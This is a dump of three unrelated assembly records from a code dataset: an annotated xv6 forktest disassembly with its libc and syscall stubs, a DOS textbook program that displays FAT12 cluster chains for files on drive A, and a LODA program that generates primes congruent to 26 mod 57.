4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 04 sub $0x4,%esp
forktest();
11: e8 3a 00 00 00 call 50 <forktest>
exit();
16: e8 77 03 00 00 call 392 <exit>
1b: 66 90 xchg %ax,%ax
1d: 66 90 xchg %ax,%ax
1f: 90 nop
00000020 <printf>:
#define N 1000
void
printf(int fd, const char *s, ...)
{
20: 55 push %ebp
21: 89 e5 mov %esp,%ebp
23: 53 push %ebx
24: 83 ec 10 sub $0x10,%esp
27: 8b 5d 0c mov 0xc(%ebp),%ebx
write(fd, s, strlen(s));
2a: 53 push %ebx
2b: e8 a0 01 00 00 call 1d0 <strlen>
30: 83 c4 0c add $0xc,%esp
33: 50 push %eax
34: 53 push %ebx
35: ff 75 08 pushl 0x8(%ebp)
38: e8 75 03 00 00 call 3b2 <write>
}
3d: 83 c4 10 add $0x10,%esp
40: 8b 5d fc mov -0x4(%ebp),%ebx
43: c9 leave
44: c3 ret
45: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000050 <forktest>:
void
forktest(void)
{
50: 55 push %ebp
51: 89 e5 mov %esp,%ebp
53: 53 push %ebx
int n, pid;
printf(1, "fork test\n");
for(n=0; n<N; n++){
54: 31 db xor %ebx,%ebx
write(fd, s, strlen(s));
}
void
forktest(void)
{
56: 83 ec 10 sub $0x10,%esp
#define N 1000
void
printf(int fd, const char *s, ...)
{
write(fd, s, strlen(s));
59: 68 54 04 00 00 push $0x454
5e: e8 6d 01 00 00 call 1d0 <strlen>
63: 83 c4 0c add $0xc,%esp
66: 50 push %eax
67: 68 54 04 00 00 push $0x454
6c: 6a 01 push $0x1
6e: e8 3f 03 00 00 call 3b2 <write>
73: 83 c4 10 add $0x10,%esp
76: eb 19 jmp 91 <forktest+0x41>
78: 90 nop
79: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(n=0; n<N; n++){
pid = fork();
if(pid < 0)
break;
if(pid == 0)
80: 0f 84 7c 00 00 00 je 102 <forktest+0xb2>
{
int n, pid;
printf(1, "fork test\n");
for(n=0; n<N; n++){
86: 83 c3 01 add $0x1,%ebx
89: 81 fb e8 03 00 00 cmp $0x3e8,%ebx
8f: 74 4f je e0 <forktest+0x90>
pid = fork();
91: e8 f4 02 00 00 call 38a <fork>
if(pid < 0)
96: 85 c0 test %eax,%eax
98: 79 e6 jns 80 <forktest+0x30>
if(n == N){
printf(1, "fork claimed to work N times!\n", N);
exit();
}
for(; n > 0; n--){
9a: 85 db test %ebx,%ebx
9c: 74 10 je ae <forktest+0x5e>
9e: 66 90 xchg %ax,%ax
if(wait() < 0){
a0: e8 f5 02 00 00 call 39a <wait>
a5: 85 c0 test %eax,%eax
a7: 78 5e js 107 <forktest+0xb7>
if(n == N){
printf(1, "fork claimed to work N times!\n", N);
exit();
}
for(; n > 0; n--){
a9: 83 eb 01 sub $0x1,%ebx
ac: 75 f2 jne a0 <forktest+0x50>
printf(1, "wait stopped early\n");
exit();
}
}
if(wait() != -1){
ae: e8 e7 02 00 00 call 39a <wait>
b3: 83 f8 ff cmp $0xffffffff,%eax
b6: 75 71 jne 129 <forktest+0xd9>
#define N 1000
void
printf(int fd, const char *s, ...)
{
write(fd, s, strlen(s));
b8: 83 ec 0c sub $0xc,%esp
bb: 68 86 04 00 00 push $0x486
c0: e8 0b 01 00 00 call 1d0 <strlen>
c5: 83 c4 0c add $0xc,%esp
c8: 50 push %eax
c9: 68 86 04 00 00 push $0x486
ce: 6a 01 push $0x1
d0: e8 dd 02 00 00 call 3b2 <write>
printf(1, "wait got too many\n");
exit();
}
printf(1, "fork test OK\n");
}
d5: 8b 5d fc mov -0x4(%ebp),%ebx
d8: c9 leave
d9: c3 ret
da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
#define N 1000
void
printf(int fd, const char *s, ...)
{
write(fd, s, strlen(s));
e0: 83 ec 0c sub $0xc,%esp
e3: 68 94 04 00 00 push $0x494
e8: e8 e3 00 00 00 call 1d0 <strlen>
ed: 83 c4 0c add $0xc,%esp
f0: 50 push %eax
f1: 68 94 04 00 00 push $0x494
f6: 6a 01 push $0x1
f8: e8 b5 02 00 00 call 3b2 <write>
exit();
}
if(n == N){
printf(1, "fork claimed to work N times!\n", N);
exit();
fd: e8 90 02 00 00 call 392 <exit>
for(n=0; n<N; n++){
pid = fork();
if(pid < 0)
break;
if(pid == 0)
exit();
102: e8 8b 02 00 00 call 392 <exit>
#define N 1000
void
printf(int fd, const char *s, ...)
{
write(fd, s, strlen(s));
107: 83 ec 0c sub $0xc,%esp
10a: 68 5f 04 00 00 push $0x45f
10f: e8 bc 00 00 00 call 1d0 <strlen>
114: 83 c4 0c add $0xc,%esp
117: 50 push %eax
118: 68 5f 04 00 00 push $0x45f
11d: 6a 01 push $0x1
11f: e8 8e 02 00 00 call 3b2 <write>
}
for(; n > 0; n--){
if(wait() < 0){
printf(1, "wait stopped early\n");
exit();
124: e8 69 02 00 00 call 392 <exit>
#define N 1000
void
printf(int fd, const char *s, ...)
{
write(fd, s, strlen(s));
129: 83 ec 0c sub $0xc,%esp
12c: 68 73 04 00 00 push $0x473
131: e8 9a 00 00 00 call 1d0 <strlen>
136: 83 c4 0c add $0xc,%esp
139: 50 push %eax
13a: 68 73 04 00 00 push $0x473
13f: 6a 01 push $0x1
141: e8 6c 02 00 00 call 3b2 <write>
}
}
if(wait() != -1){
printf(1, "wait got too many\n");
exit();
146: e8 47 02 00 00 call 392 <exit>
14b: 66 90 xchg %ax,%ax
14d: 66 90 xchg %ax,%ax
14f: 90 nop
00000150 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
150: 55 push %ebp
151: 89 e5 mov %esp,%ebp
153: 53 push %ebx
154: 8b 45 08 mov 0x8(%ebp),%eax
157: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
15a: 89 c2 mov %eax,%edx
15c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
160: 83 c1 01 add $0x1,%ecx
163: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
167: 83 c2 01 add $0x1,%edx
16a: 84 db test %bl,%bl
16c: 88 5a ff mov %bl,-0x1(%edx)
16f: 75 ef jne 160 <strcpy+0x10>
;
return os;
}
171: 5b pop %ebx
172: 5d pop %ebp
173: c3 ret
174: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
17a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000180 <strcmp>:
int
strcmp(const char *p, const char *q)
{
180: 55 push %ebp
181: 89 e5 mov %esp,%ebp
183: 56 push %esi
184: 53 push %ebx
185: 8b 55 08 mov 0x8(%ebp),%edx
188: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
18b: 0f b6 02 movzbl (%edx),%eax
18e: 0f b6 19 movzbl (%ecx),%ebx
191: 84 c0 test %al,%al
193: 75 1e jne 1b3 <strcmp+0x33>
195: eb 29 jmp 1c0 <strcmp+0x40>
197: 89 f6 mov %esi,%esi
199: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
1a0: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1a3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
1a6: 8d 71 01 lea 0x1(%ecx),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1a9: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
1ad: 84 c0 test %al,%al
1af: 74 0f je 1c0 <strcmp+0x40>
1b1: 89 f1 mov %esi,%ecx
1b3: 38 d8 cmp %bl,%al
1b5: 74 e9 je 1a0 <strcmp+0x20>
p++, q++;
return (uchar)*p - (uchar)*q;
1b7: 29 d8 sub %ebx,%eax
}
1b9: 5b pop %ebx
1ba: 5e pop %esi
1bb: 5d pop %ebp
1bc: c3 ret
1bd: 8d 76 00 lea 0x0(%esi),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1c0: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
1c2: 29 d8 sub %ebx,%eax
}
1c4: 5b pop %ebx
1c5: 5e pop %esi
1c6: 5d pop %ebp
1c7: c3 ret
1c8: 90 nop
1c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000001d0 <strlen>:
uint
strlen(const char *s)
{
1d0: 55 push %ebp
1d1: 89 e5 mov %esp,%ebp
1d3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
1d6: 80 39 00 cmpb $0x0,(%ecx)
1d9: 74 12 je 1ed <strlen+0x1d>
1db: 31 d2 xor %edx,%edx
1dd: 8d 76 00 lea 0x0(%esi),%esi
1e0: 83 c2 01 add $0x1,%edx
1e3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
1e7: 89 d0 mov %edx,%eax
1e9: 75 f5 jne 1e0 <strlen+0x10>
;
return n;
}
1eb: 5d pop %ebp
1ec: c3 ret
uint
strlen(const char *s)
{
int n;
for(n = 0; s[n]; n++)
1ed: 31 c0 xor %eax,%eax
;
return n;
}
1ef: 5d pop %ebp
1f0: c3 ret
1f1: eb 0d jmp 200 <memset>
1f3: 90 nop
1f4: 90 nop
1f5: 90 nop
1f6: 90 nop
1f7: 90 nop
1f8: 90 nop
1f9: 90 nop
1fa: 90 nop
1fb: 90 nop
1fc: 90 nop
1fd: 90 nop
1fe: 90 nop
1ff: 90 nop
00000200 <memset>:
void*
memset(void *dst, int c, uint n)
{
200: 55 push %ebp
201: 89 e5 mov %esp,%ebp
203: 57 push %edi
204: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
207: 8b 4d 10 mov 0x10(%ebp),%ecx
20a: 8b 45 0c mov 0xc(%ebp),%eax
20d: 89 d7 mov %edx,%edi
20f: fc cld
210: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
212: 89 d0 mov %edx,%eax
214: 5f pop %edi
215: 5d pop %ebp
216: c3 ret
217: 89 f6 mov %esi,%esi
219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000220 <strchr>:
char*
strchr(const char *s, char c)
{
220: 55 push %ebp
221: 89 e5 mov %esp,%ebp
223: 53 push %ebx
224: 8b 45 08 mov 0x8(%ebp),%eax
227: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
22a: 0f b6 10 movzbl (%eax),%edx
22d: 84 d2 test %dl,%dl
22f: 74 1d je 24e <strchr+0x2e>
if(*s == c)
231: 38 d3 cmp %dl,%bl
233: 89 d9 mov %ebx,%ecx
235: 75 0d jne 244 <strchr+0x24>
237: eb 17 jmp 250 <strchr+0x30>
239: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
240: 38 ca cmp %cl,%dl
242: 74 0c je 250 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
244: 83 c0 01 add $0x1,%eax
247: 0f b6 10 movzbl (%eax),%edx
24a: 84 d2 test %dl,%dl
24c: 75 f2 jne 240 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
24e: 31 c0 xor %eax,%eax
}
250: 5b pop %ebx
251: 5d pop %ebp
252: c3 ret
253: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000260 <gets>:
char*
gets(char *buf, int max)
{
260: 55 push %ebp
261: 89 e5 mov %esp,%ebp
263: 57 push %edi
264: 56 push %esi
265: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
266: 31 f6 xor %esi,%esi
cc = read(0, &c, 1);
268: 8d 7d e7 lea -0x19(%ebp),%edi
return 0;
}
char*
gets(char *buf, int max)
{
26b: 83 ec 1c sub $0x1c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
26e: eb 29 jmp 299 <gets+0x39>
cc = read(0, &c, 1);
270: 83 ec 04 sub $0x4,%esp
273: 6a 01 push $0x1
275: 57 push %edi
276: 6a 00 push $0x0
278: e8 2d 01 00 00 call 3aa <read>
if(cc < 1)
27d: 83 c4 10 add $0x10,%esp
280: 85 c0 test %eax,%eax
282: 7e 1d jle 2a1 <gets+0x41>
break;
buf[i++] = c;
284: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
288: 8b 55 08 mov 0x8(%ebp),%edx
28b: 89 de mov %ebx,%esi
if(c == '\n' || c == '\r')
28d: 3c 0a cmp $0xa,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
28f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
293: 74 1b je 2b0 <gets+0x50>
295: 3c 0d cmp $0xd,%al
297: 74 17 je 2b0 <gets+0x50>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
299: 8d 5e 01 lea 0x1(%esi),%ebx
29c: 3b 5d 0c cmp 0xc(%ebp),%ebx
29f: 7c cf jl 270 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
2a1: 8b 45 08 mov 0x8(%ebp),%eax
2a4: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
2a8: 8d 65 f4 lea -0xc(%ebp),%esp
2ab: 5b pop %ebx
2ac: 5e pop %esi
2ad: 5f pop %edi
2ae: 5d pop %ebp
2af: c3 ret
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
2b0: 8b 45 08 mov 0x8(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
2b3: 89 de mov %ebx,%esi
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
2b5: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
2b9: 8d 65 f4 lea -0xc(%ebp),%esp
2bc: 5b pop %ebx
2bd: 5e pop %esi
2be: 5f pop %edi
2bf: 5d pop %ebp
2c0: c3 ret
2c1: eb 0d jmp 2d0 <stat>
2c3: 90 nop
2c4: 90 nop
2c5: 90 nop
2c6: 90 nop
2c7: 90 nop
2c8: 90 nop
2c9: 90 nop
2ca: 90 nop
2cb: 90 nop
2cc: 90 nop
2cd: 90 nop
2ce: 90 nop
2cf: 90 nop
000002d0 <stat>:
int
stat(const char *n, struct stat *st)
{
2d0: 55 push %ebp
2d1: 89 e5 mov %esp,%ebp
2d3: 56 push %esi
2d4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
2d5: 83 ec 08 sub $0x8,%esp
2d8: 6a 00 push $0x0
2da: ff 75 08 pushl 0x8(%ebp)
2dd: e8 f0 00 00 00 call 3d2 <open>
if(fd < 0)
2e2: 83 c4 10 add $0x10,%esp
2e5: 85 c0 test %eax,%eax
2e7: 78 27 js 310 <stat+0x40>
return -1;
r = fstat(fd, st);
2e9: 83 ec 08 sub $0x8,%esp
2ec: ff 75 0c pushl 0xc(%ebp)
2ef: 89 c3 mov %eax,%ebx
2f1: 50 push %eax
2f2: e8 f3 00 00 00 call 3ea <fstat>
2f7: 89 c6 mov %eax,%esi
close(fd);
2f9: 89 1c 24 mov %ebx,(%esp)
2fc: e8 b9 00 00 00 call 3ba <close>
return r;
301: 83 c4 10 add $0x10,%esp
304: 89 f0 mov %esi,%eax
}
306: 8d 65 f8 lea -0x8(%ebp),%esp
309: 5b pop %ebx
30a: 5e pop %esi
30b: 5d pop %ebp
30c: c3 ret
30d: 8d 76 00 lea 0x0(%esi),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
310: b8 ff ff ff ff mov $0xffffffff,%eax
315: eb ef jmp 306 <stat+0x36>
317: 89 f6 mov %esi,%esi
319: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000320 <atoi>:
return r;
}
int
atoi(const char *s)
{
320: 55 push %ebp
321: 89 e5 mov %esp,%ebp
323: 53 push %ebx
324: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
327: 0f be 11 movsbl (%ecx),%edx
32a: 8d 42 d0 lea -0x30(%edx),%eax
32d: 3c 09 cmp $0x9,%al
32f: b8 00 00 00 00 mov $0x0,%eax
334: 77 1f ja 355 <atoi+0x35>
336: 8d 76 00 lea 0x0(%esi),%esi
339: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
340: 8d 04 80 lea (%eax,%eax,4),%eax
343: 83 c1 01 add $0x1,%ecx
346: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
34a: 0f be 11 movsbl (%ecx),%edx
34d: 8d 5a d0 lea -0x30(%edx),%ebx
350: 80 fb 09 cmp $0x9,%bl
353: 76 eb jbe 340 <atoi+0x20>
n = n*10 + *s++ - '0';
return n;
}
355: 5b pop %ebx
356: 5d pop %ebp
357: c3 ret
358: 90 nop
359: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000360 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
360: 55 push %ebp
361: 89 e5 mov %esp,%ebp
363: 56 push %esi
364: 53 push %ebx
365: 8b 5d 10 mov 0x10(%ebp),%ebx
368: 8b 45 08 mov 0x8(%ebp),%eax
36b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
36e: 85 db test %ebx,%ebx
370: 7e 14 jle 386 <memmove+0x26>
372: 31 d2 xor %edx,%edx
374: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
378: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
37c: 88 0c 10 mov %cl,(%eax,%edx,1)
37f: 83 c2 01 add $0x1,%edx
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
382: 39 da cmp %ebx,%edx
384: 75 f2 jne 378 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
386: 5b pop %ebx
387: 5e pop %esi
388: 5d pop %ebp
389: c3 ret
0000038a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
38a: b8 01 00 00 00 mov $0x1,%eax
38f: cd 40 int $0x40
391: c3 ret
00000392 <exit>:
SYSCALL(exit)
392: b8 02 00 00 00 mov $0x2,%eax
397: cd 40 int $0x40
399: c3 ret
0000039a <wait>:
SYSCALL(wait)
39a: b8 03 00 00 00 mov $0x3,%eax
39f: cd 40 int $0x40
3a1: c3 ret
000003a2 <pipe>:
SYSCALL(pipe)
3a2: b8 04 00 00 00 mov $0x4,%eax
3a7: cd 40 int $0x40
3a9: c3 ret
000003aa <read>:
SYSCALL(read)
3aa: b8 05 00 00 00 mov $0x5,%eax
3af: cd 40 int $0x40
3b1: c3 ret
000003b2 <write>:
SYSCALL(write)
3b2: b8 10 00 00 00 mov $0x10,%eax
3b7: cd 40 int $0x40
3b9: c3 ret
000003ba <close>:
SYSCALL(close)
3ba: b8 15 00 00 00 mov $0x15,%eax
3bf: cd 40 int $0x40
3c1: c3 ret
000003c2 <kill>:
SYSCALL(kill)
3c2: b8 06 00 00 00 mov $0x6,%eax
3c7: cd 40 int $0x40
3c9: c3 ret
000003ca <exec>:
SYSCALL(exec)
3ca: b8 07 00 00 00 mov $0x7,%eax
3cf: cd 40 int $0x40
3d1: c3 ret
000003d2 <open>:
SYSCALL(open)
3d2: b8 0f 00 00 00 mov $0xf,%eax
3d7: cd 40 int $0x40
3d9: c3 ret
000003da <mknod>:
SYSCALL(mknod)
3da: b8 11 00 00 00 mov $0x11,%eax
3df: cd 40 int $0x40
3e1: c3 ret
000003e2 <unlink>:
SYSCALL(unlink)
3e2: b8 12 00 00 00 mov $0x12,%eax
3e7: cd 40 int $0x40
3e9: c3 ret
000003ea <fstat>:
SYSCALL(fstat)
3ea: b8 08 00 00 00 mov $0x8,%eax
3ef: cd 40 int $0x40
3f1: c3 ret
000003f2 <link>:
SYSCALL(link)
3f2: b8 13 00 00 00 mov $0x13,%eax
3f7: cd 40 int $0x40
3f9: c3 ret
000003fa <mkdir>:
SYSCALL(mkdir)
3fa: b8 14 00 00 00 mov $0x14,%eax
3ff: cd 40 int $0x40
401: c3 ret
00000402 <chdir>:
SYSCALL(chdir)
402: b8 09 00 00 00 mov $0x9,%eax
407: cd 40 int $0x40
409: c3 ret
0000040a <dup>:
SYSCALL(dup)
40a: b8 0a 00 00 00 mov $0xa,%eax
40f: cd 40 int $0x40
411: c3 ret
00000412 <getpid>:
SYSCALL(getpid)
412: b8 0b 00 00 00 mov $0xb,%eax
417: cd 40 int $0x40
419: c3 ret
0000041a <sbrk>:
SYSCALL(sbrk)
41a: b8 0c 00 00 00 mov $0xc,%eax
41f: cd 40 int $0x40
421: c3 ret
00000422 <sleep>:
SYSCALL(sleep)
422: b8 0d 00 00 00 mov $0xd,%eax
427: cd 40 int $0x40
429: c3 ret
0000042a <uptime>:
SYSCALL(uptime)
42a: b8 0e 00 00 00 mov $0xe,%eax
42f: cd 40 int $0x40
431: c3 ret
00000432 <waitx>:
SYSCALL(waitx)
432: b8 16 00 00 00 mov $0x16,%eax
437: cd 40 int $0x40
439: c3 ret
0000043a <cps>:
SYSCALL(cps)
43a: b8 17 00 00 00 mov $0x17,%eax
43f: cd 40 int $0x40
441: c3 ret
00000442 <set_priority>:
SYSCALL(set_priority)
442: b8 18 00 00 00 mov $0x18,%eax
447: cd 40 int $0x40
449: c3 ret
0000044a <getpinfo>:
44a: b8 19 00 00 00 mov $0x19,%eax
44f: cd 40 int $0x40
451: c3 ret
|
||||
TheStack | ff8c4f928c75c2ae093d5f2e78fd9a78be761051 | Assemblycode:Assembly | {"size": 4659, "ext": "asm", "max_stars_repo_path": "Examples/ch14/Cluster.asm", "max_stars_repo_name": "satadriver/LiunuxOS_t", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Examples/ch14/Cluster.asm", "max_issues_repo_name": "satadriver/LiunuxOS_t", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Examples/ch14/Cluster.asm", "max_forks_repo_name": "satadriver/LiunuxOS_t", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 27.0872093023, "max_line_length": 65, "alphanum_fraction": 0.5992702297} | TITLE Cluster Display Program (Cluster.asm)
; This program reads the directory of drive A, decodes
; the file allocation table, and displays the list of
; clusters allocated to each file.
; Last update: 9/21/01
INCLUDE Irvine16.inc
; Attributes specific to 1.44MB diskettes:
FATSectors = 9 ; num sectors, first copy of FAT
DIRSectors = 14 ; num sectors, root directory
DIR_START = 19 ; starting directory sector num
SECTOR_SIZE = 512
DRIVE_A = 0
FAT_START = 1 ; starting sector of FAT
EOLN equ <0dh,0ah>
Directory STRUCT
fileName BYTE 8 dup(?)
extension BYTE 3 dup(?)
attribute BYTE ?
reserved BYTE 10 dup(?)
time WORD ?
date WORD ?
startingCluster WORD ?
fileSize DWORD ?
Directory ENDS
ENTRIES_PER_SECTOR = SECTOR_SIZE / (size Directory)
.data
heading LABEL byte
BYTE 'Cluster Display Program (CLUSTER.EXE)'
BYTE EOLN,EOLN,'The following clusters are allocated '
BYTE 'to each file:',EOLN,EOLN,0
fattable WORD ((FATSectors * SECTOR_SIZE) / 2) DUP(?)
dirbuf Directory (DIRSectors * ENTRIES_PER_SECTOR) DUP(<>)
driveNumber BYTE ?
.code
main PROC
call Initialize
mov ax,OFFSET dirbuf
mov ax,OFFSET driveNumber
call LoadFATandDir
jc A3 ; quit if we failed
mov si,OFFSET dirbuf ; index into the directory
A1: cmp (Directory PTR [si]).filename,0 ; entry never used?
je A3 ; yes: must be the end
cmp (Directory PTR [si]).filename,0E5h ; entry deleted?
je A2 ; yes: skip to next entry
cmp (Directory PTR [si]).filename,2Eh ; parent directory?
je A2 ; yes: skip to next entry
cmp (Directory PTR [si]).attribute,0Fh ; extended filename?
je A2
test (Directory PTR [si]).attribute,18h ; vol or directory name?
jnz A2 ; yes: skip to next entry
call displayClusters ; must be a valid entry
A2: add si,32 ; point to next entry
jmp A1
A3: .exit
main ENDP
;----------------------------------------------------------
LoadFATandDir PROC
; Load FAT and root directory sectors.
; Receives: nothing
; Returns: nothing
;----------------------------------------------------------
pusha
; Load the FAT
mov al,DRIVE_A
mov cx,FATsectors
mov dx,FAT_START
mov bx,OFFSET fattable
int 25h ; read sectors
add sp,2 ; pop old flags off stack
; Load the Directory
mov cx,DIRsectors
mov dx,DIR_START
mov bx,OFFSET dirbuf
int 25h
add sp,2
popa
ret
LoadFATandDir ENDP
;----------------------------------------------------------
DisplayClusters PROC
; Display all clusters allocated to a single file.
; Receives: SI contains the offset of the directory entry.
;----------------------------------------------------------
push ax
call displayFilename ; display the filename
mov ax,[si+1Ah] ; get first cluster
C1: cmp ax,0FFFh ; last cluster?
je C2 ; yes: quit
mov bx,10 ; choose decimal radix
call WriteDec ; display the number
call writeSpace ; display a space
call next_FAT_entry ; returns cluster # in AX
jmp C1 ; find next cluster
C2: call Crlf
pop ax
ret
DisplayClusters ENDP
;----------------------------------------------------------
WriteSpace PROC
; Write a single space to standard output.
;----------------------------------------------------------
push ax
mov ah,2 ; function: display character
mov dl,20h ; 20h = space
int 21h
pop ax
ret
WriteSpace ENDP
;----------------------------------------------------------
Next_FAT_entry PROC
; Find the next cluster in the FAT.
; Receives: AX = current cluster number
; Returns: AX = new cluster number
;----------------------------------------------------------
push bx ; save regs
push cx
mov bx,ax ; copy the number
shr bx,1 ; divide by 2
add bx,ax ; new cluster OFFSET
mov dx,fattable[bx] ; DX = new cluster value
shr ax,1 ; old cluster even?
jc E1 ; no: keep high 12 bits
and dx,0FFFh ; yes: keep low 12 bits
jmp E2
E1: shr dx,4 ; shift 4 bits to the right
E2: mov ax,dx ; return new cluster number
pop cx ; restore regs
pop bx
ret
Next_FAT_entry ENDP
;----------------------------------------------------------
DisplayFilename PROC
; Display the file name.
;----------------------------------------------------------
mov byte ptr [si+11],0 ; SI points to filename
mov dx,si
call Writestring
mov ah,2 ; display a space
mov dl,20h
int 21h
ret
DisplayFilename ENDP
;----------------------------------------------------------
Initialize PROC
; Set upt DS, clear screen, display a heading.
;----------------------------------------------------------
mov ax,@data
mov ds,ax
call ClrScr
mov dx,OFFSET heading ; display program heading
call Writestring
ret
Initialize ENDP
END main |
||||
TheStack | aa7c5b1adab9cbf67e487ab3655d72527209b677 | Assemblycode:Assembly | {"size": 831, "ext": "asm", "max_stars_repo_path": "oeis/142/A142681.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/142/A142681.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/142/A142681.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 34.625, "max_line_length": 501, "alphanum_fraction": 0.7292418773} | ; A142681: Primes congruent to 26 mod 57.
; Submitted by Jon Maiga
; 83,197,311,653,881,1109,1223,1451,1907,2477,2591,2819,3389,3617,4073,4643,4871,5099,5441,5669,5783,5897,6011,6353,6581,7151,7607,7949,8291,8747,8861,9203,9431,9887,10343,10457,10799,11027,11369,11483,11597,11939,12281,13421,13649,13763,13877,14447,14561,15017,15131,15359,15473,17183,17981,19121,19463,19577,19919,20147,20261,20717,21059,21401,22541,22769,23339,23567,23909,24023,24137,24251,24593,24821,25163,25391,25733,25847,26189,26417,26759,26987,27329,28697,29153,29723,29837,30293,30977,31091
mov $1,41
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $2,1
mov $3,$1
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,57
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
mul $0,2
sub $0,113
|
||||
